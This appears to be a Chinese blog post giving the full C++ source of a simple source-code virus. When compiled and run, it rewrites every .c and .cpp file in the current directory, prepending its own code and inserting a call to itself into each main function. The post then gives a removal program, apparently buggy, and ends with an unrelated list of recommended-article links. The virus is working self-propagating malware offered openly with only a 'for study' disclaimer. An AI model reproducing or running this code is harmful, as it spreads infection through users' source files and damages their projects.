主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。
程序清单:
1.病毒文件
//START#include <windows.h>#include <fstream>#include <string>#include <iostream>using namespace std;//此程序仅供病毒原理学习之用//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 //保留所有权利,东北大学秦皇岛分校2009年6月1日void vir(){ string CurFileName = __FILE__;//绝对路径string obCurFileName          //相对路径   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;HANDLE hFind = FindFirstFile("*.c*", &FindFileData);string VirusCode[100];//病毒代码 string FileCode[500]; //宿主代码

int CodeLen = 0;//病毒代码长度int FileLen = 0;//宿主代码长度 

//病毒函数调用应当插在"main("后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式 int InsertLoc = 0; 

//提取待传播的当前文件中的病毒代码 ifstream VirusFile(obCurFileName.c_str()); for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++){   if(VirusCode[CodeLen] == "//END")   {    CodeLen++;    break;   }}VirusFile.close();//依次感染宿主文件 while (true) {   //不能感染当前.cpp文件和已感染的文件    if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)   {    cout<<FindFileData.cFileName<<":是感染源!/n";   }   else//感染其它文件    {    //加载宿主文件     ifstream ibe(FindFileData.cFileName);    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)    {     if (FileCode[FileLen].find("main") != -1)     {      InsertLoc = FileLen;     }    }    ibe.close();    if(FileCode[0] == "//START")//该文件已被感染     {     cout<<FindFileData.cFileName<<":已携带了病毒!/n";    }    else if (FileLen > 500)    {     cout<<FindFileData.cFileName<<":文件太大了!/n";    }    else    {     //打开宿主文件     ofstream be(FindFileData.cFileName);     //插入病毒代码      for(int i = 0;i < CodeLen;i++)     {      be<<VirusCode[i]<<endl;     }     //病毒函数调用位置前文本插入      for(int i = 0;i < InsertLoc;i++)     {      be<<FileCode[i]<<endl;     }     //插入函数调用vir()      for(int i = InsertLoc;i < FileLen;i++)     {      int j = FileCode[i].find('{');      if(j != -1)      {       FileCode[i].insert(j + 1,"/nvir();");        break;      }     }     //病毒函数调用位置后插入剩余文本      for(int i = InsertLoc;i < FileLen;i++)     {      be<<FileCode[i]<<endl;     }     be.close();     cout<<FindFileData.cFileName<<":感染成功!/n";    }   }   if (FindNextFile(hFind, &FindFileData) == false) break;}}//ENDint main(){vir();return 0;}
杀毒程序:
#include <windows.h>#include <fstream>#include <string>#include <vector>#include <iostream>using namespace std;//此程序仅供病毒原理学习之用//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 //保留所有权利,东北大学秦皇岛分校2009年6月1日void revir(){ WIN32_FIND_DATA FindFileData;HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

string FileCode[500];

//病毒函数调用应当插在"main"后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件 while (true) {    //加载文件   int FileLen = 0; //宿主代码长度   int MainLoc = 0; //主函数位置 

   ifstream ibe(FindFileData.cFileName);   getline(ibe,FileCode[0]);

   if(FileCode[0] == "//START")//当前文件被感染过    {    //病毒代码要过虑掉     for(FileLen = 0;getline(ibe,FileCode[0]);)    {     if(FileCode[FileLen] == "//END")     {      break;     }    }    //宿主未感染前的代码    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)    {     if(FileCode[FileLen].find("main") != -1)     {      MainLoc = FileLen;     }    }

    //清除主文件中的函数调用    for (int i = MainLoc;i < FileLen;i++)     {     if(FileCode[i].find('{') != -1)     {      FileCode[i + 1] = "";      break;     }    }    ibe.close();

    ofstream be(FindFileData.cFileName);    for(int i = 0;i < FileLen;i++)    {     be<<FileCode[i]<<endl;    }    be.close();    cout<<FindFileData.cFileName<<":病毒清除成功/n";   }   cout<<FindFileData.cFileName<<":没有被感染!/n";   if (FindNextFile(hFind, &FindFileData) == false) break;}}
int main(){revir();return 0;}

一段简单的C/C++病毒源程序相关推荐

  1. vba 编辑combobox内容_初识Visual Basic编辑器并建立一段简单的代码

    大家好,从今日开始我正式推出"VBA之EXCEL应用"教程,这个教程是面向初学人员的教程,教程一共三册,十七个章节,从简单的录制宏实现一直讲到窗体的搭建,都是我们在利用EXCEL工 ...

  2. java考察代码_一段简单的关于字符串的 Java 代码竟考察了这么多东西

    下面的代码运行结果是什么?解释一下为什么会有这些差异. String s1 = "hello"; String s2 = s1 + ",world"; Stri ...

  3. 100转换成二进制 java,一段简单的java代码,十进制转二进制

    一段简单的java代码,十进制转二进制 mip版  关注:188  答案:5  悬赏:40 解决时间 2021-01-23 23:14 已解决 2021-01-23 05:43 代码如下,希望可以帮我 ...

  4. 一段简单的代码,解决了数据乱码的问题。?characterEncoding=utf8

    这一段简单的代码解决了读取数据库产生的数据乱码的问题,从数据库读数据和写数据时MySQL的默认编码非UTF8编码,需要设置字符集编码为utf8.如: ?characterEncoding=utf8

  5. 趣味python教程_Python趣味打怪:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源...

    原标题:Python趣味打怪:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源 鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 人生苦短,编程苦手,不妨学起Python, ...

  6. Python趣味打怪:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源...

    鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 人生苦短,编程苦手,不妨学起Python,感受一飞冲天的快乐. 不要害怕学习的过程枯燥无味,这里有程序员jackzhenguo打造的一份中文 ...

  7. 一段简单的python代码_Python趣味打怪:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源...

    鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 人生苦短,编程苦手,不妨学起Python,感受一飞冲天的快乐. 不要害怕学习的过程枯燥无味,这里有程序员jackzhenguo打造的一份中文 ...

  8. python写传奇脚本,Python趣味打怪:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源...

    (点击上方快速关注并设置为星标,一起学Python) 鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 人生苦短,编程苦手,不妨学起Python,感受一飞冲天的快乐. 不要害怕学习的过程枯燥 ...

  9. c++代码好玩_Python开源学习:60秒学会一个例子,147段简单代码助你从入门到大师 | 中文资源...

    鱼羊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 人生苦短,编程苦手,不妨学起Python,感受一飞冲天的快乐. 不要害怕学习的过程枯燥无味,这里有程序员jackzhenguo打造的一份中文 ...

最新文章

  1. Hadoop-2.7.4 集群快速搭建
  2. 管理信息系统的开发和管理
  3. JS双向数据绑定的原理介绍
  4. android怎么ota升级,Android OTA升级过程
  5. AI人工智能技术可以做什么
  6. 学习笔记(26):NumPy数据分析-NumPy 统计函数-var方差
  7. java 按 大写字母_用大写字母拆分字符串
  8. 平面图最小割 BZOJ 2006
  9. 什么是Bugly?Android热更新的初讲解
  10. x86 单线并发多拨_OpenWrt ADSL单线多拨,负载均衡(仅供参考)
  11. 运营笔记:一个新公众号怎么吸粉?看看这位大神怎么做的!
  12. TikTok全球下载突破超20亿人次,它做对了什么?
  13. C语言---文件操作及文件操作函数详解
  14. 如何让控件在LinearLayout布局中置底显示
  15. 设计模式 ---- 工厂模式
  16. zabbix proxy 的搭建流程【物理机】
  17. CAD梦想画图中的“绘图工具——矩形”
  18. 全球五大电信巨头宣布联手开发和融合4G技术
  19. try...catch...效率思考
  20. Linux内核编译很简单,6步编译一个自己的内核

热门文章

  1. selenium控制浏览器获取数据(java 版本)
  2. python语言是编译型语言-解释型语言与编译型语言
  3. 解决Android无法访问与下载文件的权限问题
  4. 如何制作GIF表情包,动态GIF怎么做
  5. 【Linux】Linux下怎么下载安装Chrome?
  6. smarty实例教程一
  7. mysql between and 日期
  8. Linux进程信号之阻塞信号
  9. 【罗塞塔石碑】—My Lover(One.iso)
  10. 【218】java课的一些笔记